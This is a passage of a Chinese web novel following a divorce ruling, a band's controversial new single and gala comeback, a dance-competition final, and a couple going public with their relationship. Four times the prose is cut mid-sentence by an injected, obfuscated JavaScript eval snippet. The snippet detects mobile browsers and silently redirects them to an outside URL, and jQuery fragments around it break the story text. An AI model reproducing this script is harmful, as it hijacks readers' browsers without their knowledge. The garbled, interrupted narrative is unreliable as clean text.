齐晖伸出手，阻止她继续说下去：“你不必这样，夫妻一场，法律上也说了，一方赠与的物品另一方是没有权利要回去的，就当我送你的。我个人觉得我们的感情还是有挽回的余地的，助理我已经开除了，日后也会多回家。” “没什么可挽回的，法官。”凌兰深深地叹了口气，“下一个环节吧。” “好，下面请原告和被告进行举证。”女法官的声音非常沉稳有力，仿佛什么样的大风大浪在她面前都是洒洒水而已。 接下来就是轮到了双方律师的环节，那才叫一个针锋相对，双方都站在自己的立场上辩护，谁也不肯让谁。 舒青竹推荐的律师果然靠谱，对方数次想要诡辩，都被他逻辑清晰地怼了回去。 俗称骂人不带脏字。 要是凌兰能早点遇见他，可能也不会到现在这个地步。 眼看争论不出什么结果，法官便示意二人停下来，请原告做最后的陈述。 凌兰深呼吸了几下才开口说道：“我还是坚持我的几点请求，第一，请判决我和被告离婚，第二，儿子的抚养权归我，其他被告的财产我一概不要。最后带个人情感地说一句，齐晖，我不后悔遇见你，但是人总是会变的，有感情的时候就在一起，没感情了，就好聚好散。” 齐晖显然是被这句话触动了，眼中有了难得一见的柔情：“我没什么好说的，判决吧。” 短暂的休庭之后，法官又回到了席位上：“经过调查，原告和被告的婚姻已经破裂，无修复的可能，因此同意原告的离婚申请，孩子的抚养权归女方。” 法槌重重地落下。 在场的所有人都松了一口气。 宋之雯站起来去扶凌兰的时候，才发现她整个人都是瘫软的。出了门口，她的情绪瞬间涌了上来，开始抹眼泪。 外面的雨已经停了。 齐扬收了伞，走过去扶住她的肩膀：“妈，恭喜你，你自由了。” 这场雨不会再下了，往后的日子都是晴空万里。 解决掉了这桩离婚案件，接下来的时间齐扬就一门心思地投入到创作中。 以往编曲都是他和吴衡把握大方向，现在没有了吴衡的建议，他更要谨慎地选择，避免让整个团队的创作方向走偏。 有时候齐扬也会觉得心力交瘁，但好在有宋之雯的安抚，他在沮丧之后又能继续工作。 就在这一波三折的过程中，专辑的同名单曲《解构》上线。 只是齐扬没有想到，他这么做无疑往平静的湖面里投了一颗重磅炸弹。 单曲上线后争议非常大，因为不仅曲风大胆，MV的风格也非常大胆。乐队的成员都穿着皮质的银色连体衣，手上托着各种各样的人体部位模型。 @清扬男士洗发露：晨星乐队最近是中邪了吗？在瞎搞什么？还我小清新的情歌组合。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15201895|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>@芋泥啵啵：这MV也太血腥了吧？真的能过审吗？ @峰回路转：这首歌和他们之前的水平相比也退步太大了，不会是江郎才尽了吧？ 就连卢林也打电话给他们，这几天千万别轻举妄动，网上也不能发布只言片语，免得被有心人过度解读。他的公关团队会帮乐队清理不好的评论。 韦峰一边刷评论一边叹气：“我就和你说这曲风太超前了，他们听不懂。” 何瑜立刻反驳：“如果纯粹迎合市场那就不是音乐人了，本质上是商人。” “是啊，每个歌手都有不如意的专辑呢，别慌张。”叶琛安慰他。 “要说小甜歌那可太容易了，我两小时就可以写一首，不过这种歌对我来说太没有挑战性了。”齐扬抬头看着他，“以我多年的经验，我们现在努力的大方向肯定是对的，信他们还是信我？” “信你，信你。”韦峰悻悻地闭嘴了。 不过过了几天，就有乐评人出来帮他们说话，说这首歌对他们来说是一个重大的突破，能做出这样的尝试很不容易，虽然有一些缺点但瑕不掩瑜。 就在这样好坏参半的评价中，大家更期待他们的新专辑了。 一转眼就到了年底，又是各大卫视争抢人上跨年晚会的时间。齐扬和卢林商量之后决定带乐队上B市的跨年晚会，就唱新歌，正好也让新贝斯手亮亮相。 只是在确认名单的时候，他们一眼就看到了吴衡的名字，并且节目顺序还隔得很近。 当天下午就开始了漫长的红毯直播，这是晨星乐队继换贝斯手后的第一次亮相，因此有无数的镜头对着他们。 男生们统一换了白色的西装，做了精致的造型，何瑜则一身白色的纱裙配合他们，在人群里等待着。 她闲着无聊便四处张望，面前出现了一个熟悉的身影。那人正和他们相反，穿着一身黑色西装，上面有松枝的刺绣，格外好认。 是吴衡。 他的呼吸明显一滞，随后神色有所缓和，装作若无其事地打招呼：“好久不见。” 何瑜也礼貌地对他笑笑：“好久不见。” 这时有人过来提醒吴衡该去采访了。 记者把早已准备好的话筒对准他：“请问吴衡，这是你首次以个人的身份参加跨年晚会，有什么感受？” “感受就是选歌的形式会更自由一点，在乐队的时候要考虑团队的风格，现在就选一些自己想唱的。”吴衡得体地微笑着。 “那这次为大家带来了什么歌呢？” “一首轻松的小甜歌，到时候就知道了。”吴衡转头在签名板上签下了自己的名字。 记者还是不肯放过他：“所以说在乐队会对你有所限制是吗？觉得单飞的形式更好？” “之后还会回乐队吗？还是彻底单飞了？” “你和齐扬之前有什么恩怨可以具体说说吗？” 提问一茬接着一茬，然而吴衡却摆摆手，表示采访时间到了，快步走开了。 69. 第六十九章 露馅 两三个艺人之后，就轮到了晨星乐队。 记者在吴衡那边八卦的心没有满足，显然不会放过这个大好的机会，一上来就问了一个很犀利的问题：“刚刚吴衡说单飞选歌更自由，是之前的团队限制了他吗？” 齐扬并没有因此乱了阵脚：“那不一定，毕竟之前我们是一个整体，虽然每个人都有自己的个性，但都为团队努力着。现在他单飞了，可以让大家看到更多以前看不到的优点。” “还是想问问他单飞的原因是什么？是因为之前和乐队的成员有矛盾吗？” 这都什么问题。何瑜皱了皱眉头，刚要上前的时候，被齐扬拦住了：“我看网上讨论这个问题沸沸扬扬，今天我就正式回应一下，不是。吴衡他曾和我提过想趁年轻做不一样的尝试，我们所有人都很支持他。” “会害怕新的贝斯手和之前的比较吗？” “我可以明确告诉大家巴顺的技术非常好，业界有目共睹。”齐扬笑着看了巴顺一眼，“再说音乐人也不怕比较，互相学习嘛，是不是？” 巴顺配合着点了一下头。 记者看什么也套不出来，只好干巴巴地结尾：“想对吴衡说些什么？” “我祝福他越来越好。”齐扬说着就带领乐队成员潇洒地签下了他们的大名。 宋之雯一整个下午都在关注着网上的消息，其中齐扬的发言得到了大部分网友的认可，#体面#这个词还上了热搜。 当然也有少部分看热闹的人，觉得这是吴衡和晨星乐队的第一次交锋，很想看结果如何。 红毯在六点左右结束，接着就开始了晚会的紧张准备工作，齐扬还专门发了他们后台比耶的照片。 宋之雯忍不住笑出了声，有种到此一游打卡的感觉，这心态可真好。 七点半晚会正式开始，B市电视台这次依旧采取了直播的形式，收音只有干声，连现场混响都听不见，可谓是揭掉歌手唱功的最后一块遮羞布。 吴衡的节目在比较靠前的位置，他又换了一套造型，上身是一件印花衬衫，下身是黑色的阔腿裤，颇有校园小清新的风格。 他唱的是一首自己的原创歌曲，讲青春期少男的悸动。歌曲的难度并不是很高，旋律也和市面上的情歌差不多，不过宋之雯还是能听出他有几个音不稳，甚至有个高音呲了一下。 弹幕也一片问号。 @就爱吃香菜：就这？吴衡单飞之后究竟在干什么？有没有在好好练声？ @宇宙资深乐迷：建议还是回去弹贝斯吧，唱歌不是人人能唱的。 @无与伦比的美丽：比起跑调跑到没边还是好一点，但也就无功无过，一般的ktv水平。 不一会儿吴衡唱歌的这段视频就被传到了微博上，底下的评论也说唯一能夸的只有造型和脸了。 晚会快过半，还没有一个让人惊艳的表演出来，#难听#的热搜倒是铺天盖地。 这时舞台上忽然喷出了一阵烟雾，朦胧地罩住了台上的人影，等灯光正式亮起的时候，闪现的是早就已经摆好造型的晨星乐队的五个人。 白色带亮片的衣服在灯光的照射下格外酷炫，引发了现场观众的一阵尖叫。 齐扬率先走到了台前：“大家好，我们是全新的晨星乐队，介绍一下我们的新成员——巴顺！” 巴顺今天胡子也刮了，头发精致地烫了小卷，竟有种超乎寻常的帅气。他的手指自如地在琴弦上跳跃，一阵阵复杂多变的旋律流出，刺激着人的感官。 在这开头就牢牢抓住人的旋律中，齐扬开始了他的演唱。 世界早已残破不堪 人们在工位上流着血汗 灵魂早已散落消失不见 高度的文明不能停止旋转 躺下的尸体早已腐烂 该如何收集纯真的碎片 他的表现一反之前缓慢的抒情风格，节奏很轻快，词很密集地输出，眼神也十分凌厉，仿佛在控诉这世界的不公。 我要重构这世间的规则 用光明撕碎邪恶 拼凑出一个完整的世界 相信正义它会来到你身侧 在齐扬唱副歌部分的时候，一群身穿白色皮衣和短裤的女孩从两侧冲上了舞台，她们伸手抓向天空，肢体很夸张地挥舞着，就像是被牺牲的亡灵。 当她们跳到“光明”这个词，何瑜的和声恰到好处地加入，声音冲破了这团团云雾，听得人天灵盖都舒展了开来。 齐扬继续一遍遍重复着副歌，与何瑜的和声形成了应和，有着一动一静的美感。 随着贝斯声和鼓声的渐弱，齐扬的声音也小了下去，最后几乎是用喉咙深处发出的低吟，性感又勾人。 女孩们上前围成一圈，每个人手上都拿着人体模型的一部分，拼凑成一个完整的人。这正照应了专辑的主题，把原有的彻底打碎，才能重塑。 乐队的成员在围成的圈中摆出了endingpose，结束。 观众都看愣了，就连宋之雯也觉得今天的信息量实在过载，延迟了几秒才听到观众响亮的欢呼声。 微博已经被刷屏了。 @姐妹同心，齐力断金：啊啊啊我收回之前说这首歌难听的话，果然听歌就要听现场，越听越上头。 @天上星：这个男人太会喘了，尤其是最后那一声，我不行了啊啊啊。 @九天揽月：新来的这个贝斯手很不错，技术很好。当然齐扬今天的演唱更加无懈可击，简直是修音响来了。 很快晨星乐队的表演就上了好几个热搜词条，大家一致认为吴衡能走到今天是沾了晨星乐队的光，离开了乐队什么都不是。 宋之雯等到将近十二点才等来齐扬回家，他已经卸下了妆发，又回到了朴素的模样，却依旧掩饰不住的帅气，这是独属于她一个人的。 齐扬坐到沙发上搂着她：“怎么每次都等这么晚，我不在先回去睡觉好了。” “没事，反正我明天休假。”宋之雯转过身抱住他，“今天的表演很棒，连我都惊艳到了。” “我厉不厉害？”齐扬像个讨要糖果的小孩子。 “厉害厉害，您是这个。”宋之雯竖起了大拇指。 齐扬俯身在她头发上亲了一下：“如果不是你，我可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15222913|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会坚持到现在。” “齐扬，有什么想法就去做吧。”宋之雯开口道，声音异常坚定，“我永远在你身后。” 齐扬没说话，只是把她抱得更紧了。 有了跨年晚会的成功，团队就更有信心完成专辑接下来的制作，后面发行的两首歌都广受好评。 结束了休假，宋之雯又投入到了忙碌的工作中，而齐扬也飞往各地出差，两人聚少离多，但还是保持着每天一个电话的频率，打完就继续做各自的事。 偶尔两人都不忙的时候就宅在家做做饭，日子平淡又幸福。 《舞出我人生》已经进行到第四赛段了，这一赛段宋之雯策划的内容是两人斗舞，现代舞古典舞都行，赢的直通总决赛，输的则待定。 并且这一赛段还要围绕的一个主题就是“怀旧”，力求回归舞蹈最初的模样。 规则一宣布，选手当中哀嚎声一片，离总决赛就差临门一脚了，谁也不想被淘汰。 因此在这一阶段对手就显得尤为重要。 大家都十分谨慎地抽签，余念抽到的是一个跳拉丁舞的女孩子，拿过国际大奖无数，两人关系很好，私底下经常切磋，因此一抽到就拥抱了一下。 宋之雯很好奇余念会准备什么样的舞蹈，来迎战如此强大的对手，因此在她排练的时候就顺口问了一句：“你这次跳什么？应该是古典舞吧？我看最近你读书时期跳舞的那个视频又被网友翻出来观看了。” “不。”余念摇了摇头，意味深长地笑了，“还是现代舞。” “你确定？”宋之雯为她捏了一把汗，“现在可是最关键的阶段，要是因为选错舞蹈进不了总决赛不太可惜了吗？” “我觉得你们的乐队也影响了我。”余念的神色很平静，“不走寻常路。” 既然余念已经下定了决心，宋之雯也没什么好阻拦的，开始叫张浩用相机记录两位对手的训练日常。 很奇怪的是在她们身上看不到丝毫的火药味，她们经常约着一起训练，训练完了一起吃饭，甚至还能抽出时间逛街，就像一对闺蜜一样。 也许这就是顶级舞者之间的惺惺相惜吧。 比赛的日子终于来临，节目组专门又扩大了舞台，做成了一个大转盘，又在两侧加了通道，方便容纳下两人斗舞。 观众绕着舞台团团围坐，就像在看一场秀一样。 音响老师灵活地操纵着各种的音乐，时而激情时而安静，让人情不自禁地想在舞池中舞动着身体。 在轻柔的音乐中，率先上场的是两位古典舞演员，他们执掌相抵，随后又各自分散开来，做各种腾空动作。音乐加快的时候他们飞速撤步擦身而过，用自己的肢体应战，空气中火花四射。 等表演结束的时候，两位演员全然不见了刚才的攻击性，笑嘻嘻地介绍着他们设计的概念。 观众也十分动容，今天所有人想的都不是怎么出风头，怎么突出自己，而是把这个表演做完整。 走到这个阶段了，每一种舞姿都精彩纷呈，选手势均力敌，看得观众一阵又一阵叫好。 终于轮到余念上场了。 70. 第七十章 男友 她和另一个女孩表演的节目名叫《蒂凡尼的早餐》，改编自赫本主演的同名电影。讲述了交际花郝莉·戈莱莉一心向往上流社会的生活，因此经常在蒂凡尼珠宝店对面吃早餐，最终历尽一番波折找到平凡的幸福的故事。 场上欢快又复古的音乐响起，拉丁女孩率先出场。她一身豹纹吊带裙，浑身珠光宝气，好像橱窗里展示的娃娃。 她热情又火辣地扭动着身体，向路过的每个顾客展示着自己的美。 这时候余念上场了，她一身朴素的小黑裙，简单的盘发，手拿烟斗，用舒缓的肢体语言表达自己对橱窗里女孩的满心羡慕。 音乐开始变得更加急促，两个女孩之间开始撕扯，一个抓着另一个的手摇晃、甩开，又再次碰撞。 最终余念把人掀翻在地，自己走进了玻璃展示柜里，成为了被欣赏的那一个。 然而她用舞蹈告诉观众，此时她并不快乐，就是一个没有生命的娃娃。 她的身体渐渐倒了下去，坐在了地上，落寞地抽着烟斗。 灯光就在此刻熄灭。 这个绝妙的编排以及两个女孩子之间天衣无缝的配合，又赢得了观众的叫好，鼓掌持续了一分多钟才停息。 大学老师脸上的笑意都掩饰不住了：“余念，我真的小看你了，原先觉得你尝试现代舞只是新鲜，没想到能完成得这么好，要为你这种突破自己的精神鼓掌。” 另一位男导师也补充道：“当然一个好的舞蹈也离不开搭档，是互相成就的。” 宋之雯看到余念的眼睛里难得闪烁着晶莹的光，嘴角确实掩饰不住的笑意。 导师的脸上却露出了为难的神色：“真是给我们出了一个难题啊，其实两个都很好。” 在万分纠结当中，他们还是以2：1的投票投出余念胜利，包括观众这边余念也占了上风。 余念第一次如此放松地笑，先拥抱了自己的搭档，再拥抱了导师，然后绕场一周才下去。 她的搭档也不负众望，在后面的待定环节中脱颖而出，和她一起晋级了总决赛。 结束录制之后宋之雯已经疲惫不堪，可还是得马不停蹄地制定总决赛的流程。 总决赛的形式是搭档挑战赛，晋级总决赛的选手可以请来自己场外的好朋友搭档，共分两轮，最终决出总冠军。 结果选手都不约而同地请了自己的男/女朋友来助阵，宋之雯明白了，这个环节就是吃狗粮来的。 她是第一次见到余念的男朋友，也是舞蹈演员，皮肤是非常健康的古铜色，一身肌肉特别有力量，眉眼却又如西域人那般立体深邃。 他们的舞蹈配合得特别和谐，默契程度远超过了余念其他的搭档，而且余念的男朋友看余念的眼神总是充满宠溺。 忙了一天，宋之雯准备下班的时候，却收到了齐扬的一条信息：“我来接你了。” 宋之雯连忙回复：“那你等一会儿，我马上下来。” “不用，我已经上来了。” 这还得了？宋之雯急匆匆地往外走，她不知道齐扬脑子抽的什么风。 结果她一出门，就和齐扬碰了个正着。 旁边的小姑娘还很有礼貌地问道：“老师你好，请问你找谁？” 齐扬直截了当地回答：“我找宋之雯。” 小姑娘有点惊讶地指了指宋之雯。 宋之雯一把把齐扬拉到一边问他：“你现在的身份很敏感，突然出现在这里，我要怎么向他们解释？” “我就是要让他们发现。”齐扬双手插着口袋，吊儿郎当地说，“在一起这么久了，不打算给我个名分吗？” 宋之雯正要去捂他的嘴，就看见余念刚好经过，还轻笑了几声：“好久不见啊，老同学。” “好久不见。”齐扬朝她点了点头。 余念的视线来回在两人身上停留着，明知故问道：“请问宋之雯，这位是你的？” “我是她男朋友。”没等宋之雯反应过来，齐扬一把搂过她的肩膀。 宋之雯有些惊讶地看向他，她第一次感觉他的胸膛如此宽厚，仿佛能承担起一个男人的责任。 “那恭喜啊。”余念很真诚地祝福道。 她的男朋友也友好地对齐扬笑了笑：“你女朋友很漂亮。” “那是。”齐扬脸上的得意都掩饰不住了。 余念捶了她男朋友一下，两人互相搂着，说说笑笑地走了。 齐扬低头看着宋之雯的眼睛：“怎么样？带我认识一下你的同事吧？” 宋之雯只好硬着头皮带着他在自己的工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231739|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区域转，还装模作样地给他介绍用途。 很快消息就传遍了整个公司。 两人走到张浩的工位面前的时候，张浩连下巴都要惊掉了，直接发出一声“卧槽”。 王清妍倒是一脸淡定：“我早就看出来了。” “王姐，你是怎么看出来的？”张浩感觉自己被人当成傻子耍得团团转。 王清妍老练地抿了一口茶：“你没看见他们第一次见面那个暗流涌动哦，绝对是有故事的人。还有录节目时的眉来眼去，暗戳戳的关心。” “王姐实在是高，看人真准。”张浩竖起了大拇指。 接着他又抱着手臂审视着他们俩：“宋之雯，瞒了你同事这么久，不地道吧？” “我今天来还给大家带了奶茶，谢谢你们平时对她的照顾了。”齐扬说着就让助理拿了上来。 “这还差不多。”张浩看到吃的立刻喜笑颜开。 齐扬很和气地在各个同事之间穿梭，递上奶茶，跟每个人都能聊上几句，可谓是做得滴水不漏。 在同事的一片祝福声中，齐扬搂着宋之雯出了门。 宋之雯却觉得心里堵得慌，直到上车之后都沉默着。 齐扬并没有急着开车，主动问她：“你在生气吗？” 宋之雯有点不好意思承认，只能先不回答。 “我理解你生气的点。”齐扬用手支撑着身体，跨过驾驶座到了她面前，“可能对你来说太突然了，但我真的想过逐步公开的方案，也和林哥商量过。” 宋之雯反问道：“你现在新专辑都没出呢，和吴衡的事又炒得沸沸扬扬，处在风口浪尖上，怎么公开？” “当然不是现在。”齐扬笑了，“但最起码要让你最亲近的同事知道这件事，这也是对你的一种保护，遇到谣言也可以及时澄清。” 宋之雯想了想，他们一向是做节目做惯了的，所以基本都养成了习惯，有什么事都不往外说。 齐扬握住她的手，掌心温热而有力：“我希望有一天能和你光明正大地手牵手，向全世界宣告你是我的女朋友。” “会有那么一天的。”宋之雯也被他逗笑了，“都在一起了，我难道还能抵赖不成？” 齐扬高兴极了，俯身在她的嘴唇上啄了一下，才继续开车。 71. 第七十一章 破茧 回到家后，宋之雯好好地洗了个澡睡了一觉，就开始为决赛做忙碌的准备。 《舞出我人生》自从开播以后，数据一期比一期走高，甚至已经超越了《最强live》，因此公司上下都十分重视这次总决赛，各部门都紧绷着神经，一点都不敢松懈。 这次的主持人依旧是请来了合作的好伙伴谢季青，她看到宋之雯胸前的工作证，惊讶了一下：“才几个月不见，你就升职了？” 宋之雯大大方方地承认：“对啊。” “恭喜你啊。”谢季青感慨道，“前途不可限量。” 宋之雯被她逗笑了。 为了呈现出更好的节目效果，舞台进行了全面的改造升级，头顶上的追光灯可以三百六十度旋转变换，最终所有的光柱都汇成一束，打在舞台的那个人身上，就好像那个人是世界的中心。 总决赛的一天终于来临。 从早上开始，宋之雯就跟着音响部门检查设备，到了中午和策划部的人一起指挥观众进场，像个高速旋转的陀螺。 所有人都就位后，演播厅的灯暗了下来。等谢季青上场时一束微弱的白光追随着她，在舞台中央固定。 谢季青就在这微弱的光影里用温柔的声音念着开场白：“各位观众朋友们好，欢迎大家来到《舞出我人生》的总决赛现场。经过了三个多月的角逐，有七位选手从中脱颖而出，今天他们也带来了自己的好伙伴，我们不妨重新认识一下他们。 这时，垂直的光束一束束打下来，照亮了早就站在阴影里的舞者。 “本次决赛共分为两轮，第一轮搭档合作赛，选手自行选择搭档和舞种，按照出场顺序表演，留下三组选手。第二轮个人挑战赛，同样是留下来的选手依次表演，按照分数高低决出总冠军，选手们，加油吧。”谢季青说完之后就优雅地退场，把舞台交还给选手。 随着音乐的响起，第一组选手上场了。 也许是和身边最亲密的人并肩作战的缘故，大家都发挥出了自己最好的水平。从第一组的街舞开始，单手空翻、旋转等动作就引爆了全场，后面的桑巴舞、芭蕾舞更是尖叫连连。 余念看起来一点都不紧张，还在舞台边和自己的男朋友谈笑风生。 赛程过半的时候，才轮到余念上场，她要和自己的男朋友演绎一个公主和将军的故事。 余念一袭红裙，头戴金色的冠和步摇，将美艳发挥到了极致。她男朋友则是一身棕色的铠甲，全身上下力量都在喷张。 音乐轻柔地响起，这是展示将军和公主相知相爱的过程。将军一把托起公主，高举过头顶，再抱着她从腰间缓缓落下，两人缠绵悱恻地相拥，似乎要把彼此揉碎进自己的身体。 紧接着音乐突然急转直下，变成了急促的鼓点，周围似乎有千军万马奔腾的声音，是战争来袭了。这一段是余念男朋友的独舞，他双腿踏着步伐，手臂随节奏挥舞，以一种狂放的方式展示着战场厮杀，而这一幕，公主只是远远看着。 终于音乐声渐渐弱下去，将军的手无力地垂了下去，合上了眼。这时公主才后知后觉，猛扑过去，围绕着将军起舞，步伐极其急促，裙裾翩飞，就像流淌着的热血盛开出的一朵朵花。 一番悲痛欲绝的舞蹈之后，她抓着将军的手，躺在他身边，陷入了长眠。 灯光就在这时候暗了下去，周围陷入一片死寂。 等到灯再次亮起的时候，观众的欢呼声快要把整个演播厅给淹没了。 余念有些不好意思地笑了笑，他男朋友则拉过她的手，放在胸口，就这么下了台。 现在只剩最后一组选手了，就是那个古典舞男演员。 他们的这个节目也十分有创意，展示的是荷叶与鱼的交欢，而且是由女生饰演荷叶，男生饰演鱼。两人的服饰采用了偏淡的绿与红，没有很亮的艳俗感，而且衣服上的图案相得益彰。 本次投票采用的是现场观众和导师一起投票，观众一人一票，导师一人十票，票数最高的三组进入下一轮。 所有人都在紧张地等待结果，他们彼此的伴侣还站在旁边柔声安慰。 这时大屏幕突然晃眼了一下，紧接着各组的票数就这么直白地展现在了眼前。 余念还是和男演员差了一点，屈居第二，另外上次和她搭档的拉丁舞女孩也晋级了冠军的争夺。 余念的男朋友看起来对这个结果很满意，松开了手，满脸笑容地目送她走向晋级通道。 到了场下，宋之雯立刻接她去转场换衣服做准备，顺便好奇地问了一句：“最后一支舞了，你打算跳古典舞还是现代舞？” 余念轻松一笑：“古典舞刚刚已经跳过了。” 宋之雯立刻明白了，余念不愧是有“野心”的人。 在做妆发的同时，就有工作人员按照刚刚的顺序，从高到低拿来信封让他们抽签。 余念打开信封，里面赫然是一个数字“3”。 这时广播已经响起了倒计时，让选手做好准备。 余念整理了一下造型，提着裙摆，步伐坚定地向舞台走去。 倒计时结束，比赛继续进行。 男演员是第一个上场的，他一身江湖人士的打扮，头上连发冠都没有戴，只绑了一根发带，衣衫也破破烂烂。然而他持剑出招的姿势却毫不犹豫，剑锋在空中猎猎作响，折射出冷峻的光。 拉丁舞女孩则一身黑色的吊带裙，眼尾画了蓝色的上挑眼影，笑得冷艳而又美丽。 轮到余念了，她一身裙子都采取的是毛绒的材质，洁净如雪，手臂上更是垂落了长长的流苏。 她把自己的这个作品命名为《茧》。 余念先是坐在舞台上，用手臂包裹住自己，挡住了整个脸，好像出生的幼虫在奋力挣扎、搏斗。 紧接着她的手臂渐渐上移，微微露出了小半张脸，好奇地窥探着这个世界，随着音乐节奏的加快，她的美丽的脸显露得越来越多，直到彻底打开。 她张开手臂，腾空而起，手臂上的流苏随着弧度甩开，就像蝴蝶的翅膀。 破茧成蝶，大概就是这个意思吧。 摆脱了束缚的余念在舞台上尽情散发着自己的美丽，时而活泼地旋转，时而又有力量地翻腾，时而又跪坐在地上欣赏自己的容颜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245169|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光影渐渐地暗了下来，她抬起手臂，享受地闭上眼睛，为这出舞蹈做了一个结尾。 不止是观众，刚刚上场的选手也在为她鼓掌。 就连平时挑刺的老师此时也词穷了，不断地说着：“太完美了，你们今天每个人的演出都是完美的。” 谢季青很机智地接了一句：“在绝对的美面前，语言是无法形容的，那我们就用分数来说话吧。” 观众都专注地按着投票器，一开始三人的票数还并驾齐驱，但过了半程的时候，余念的票数以很明显的优势领跑，最后到了一个想都不敢想的高度。 谢季青的声音也激动地有点破音了：“让我们恭喜余念获得本季《舞出我人生》的总冠军！” 在万众瞩目中，余念上台领奖，从那位老师手里接过了金灿灿的奖杯，是一个跳舞的小人。 老师用充满慈爱的目光看着她：“恭喜你，完成了对自己的超越。” 宋之雯跟着在台下鼓着掌，她由衷地祝福这个女孩，值得这么好的结果。 这夜，所有的热搜词条都刷爆了，从一开始的不被看好到一次次偏要逆向而行的努力，最后登上顶峰，谁不爱看这样的励志过程呢？ 当然也有质疑是剧本的，不过等几个专业的舞蹈人士从技术角度去分析之后，所有人都闭嘴了。 决赛直播完毕再加上庆功宴，时间已经到了后半夜，宋之雯只觉得自己紧绷的神经一下子松下来之后，满身疲惫。 她原先和齐扬说了自己打车回去，不用来接她，没想到他还是来了。 宋之雯有点惊讶：“你都不困的吗？” “我以前都这个点睡觉，习惯了。”齐扬答道。 “那从今天开始要养成早睡早起的好习惯，毕竟……”宋之雯俏皮地眨了一下眼，“熬夜太多了人容易虚。” 齐扬听闻立刻去挠她的痒痒肉，宋之雯只好笑着求饶，最后的结果就是被齐扬牢牢地圈在了怀里。 宋之雯靠在他温暖的怀抱里，忽然感觉一阵安心，说出了自己做了很久的决定：“齐扬，我寒假就不回家了，收拾收拾宿舍的东西去住你那边吧。” 齐扬不动声色地回答：“行啊，你想什么时候过来都行。” 决赛结束的第二天，宋之雯就正式搬进了齐扬家。 她走的时候还有点不好意思，毕竟这学期她经常夜不归宿，都没怎么和项婉好好交流交流。 不过项婉倒是表现得很坦然，说都成年人了有自己的生活，再说她现在已经入职了一家娱乐公司，有的是机会见面。 宋之雯终于有时间捡起她落下了许久的论文，年后就要预答辩了，她得抓紧时间把初稿写出来。 齐扬也为专辑的事情忙上忙下，demo都不知道改了几版，两人就这么对坐着抱着电脑，灰头土脸地加班。 等稍微空一点了，宋之雯才下决心给家里打个电话，想来想去还是打给了宋岩峰。 电话很快就接通了，那头响起了宋岩峰和善的声音：“喂？闺女。” 宋之雯深吸了一口气：“爸，我今年就在男朋友那边过年了，不回来了。” 72. 第七十二章 公开 电话那头沉默了好一会儿，宋岩峰才开口道：“是怕回来之后和你妈吵起来吗？” 宋之雯“嗯”了一声：“我看她从知道以后这口气就没消过。” “你妈就是刀子嘴豆腐心，实际上是担心你。”宋岩峰安慰她，“我和她说孩子大了，有自己的选择，现在她气已经消了很多了，前两天还念叨你。” 宋之雯的心忽然变得柔软。 “闺女啊……”宋岩峰长叹一声，“你现在忙，过年不回来可以理解，但还是找个时间回家看看吧，爸爸也很想念你。” “好。”宋之雯的口气也缓和了下来，“等我弄完论文答辩就回来看你们。” “你自己在外注意身体，别老熬夜，我给你寄了点特产，记得分给你男朋友。” “谢谢爸。”宋之雯感觉身上一股暖流升起，柔声道，“你也是。” 挂断了电话，齐扬探着脖子伸了过来：“你爸打来的？” 宋之雯按灭了手机：“对，想想这是我第一次不回家过年，怪不好意思的。” “等找个时间我和你一起回趟家吧。”齐扬突然说道，“我会慢慢让你妈接受我的，哪怕是一年、两年，我不愿意谈个恋爱还要成为你的负担。” 宋之雯没说什么，只是紧紧地抱住了他。 抱了良久，她才松开：“那你妈呢，今年过年怎么办？” 齐扬得意地一笑：“我老早就和她打好招呼了，把她接过来一起过年。” 他没想到的是，这回不止凌兰，乐队的成员也自愿留下来陪他过年，等到大年初一的时候再走，只是少了巴顺，人家早就坐飞机飞回家里去了。 除夕那天，宋之雯和凌兰一起在厨房忙碌，齐扬帮着打下手，乐队的其他成员还想帮忙，被凌兰轰了出去：“去去去，人越多越添乱。” 何瑜便心安理得地和叶琛、韦峰一起嗑瓜子，十分悠闲。 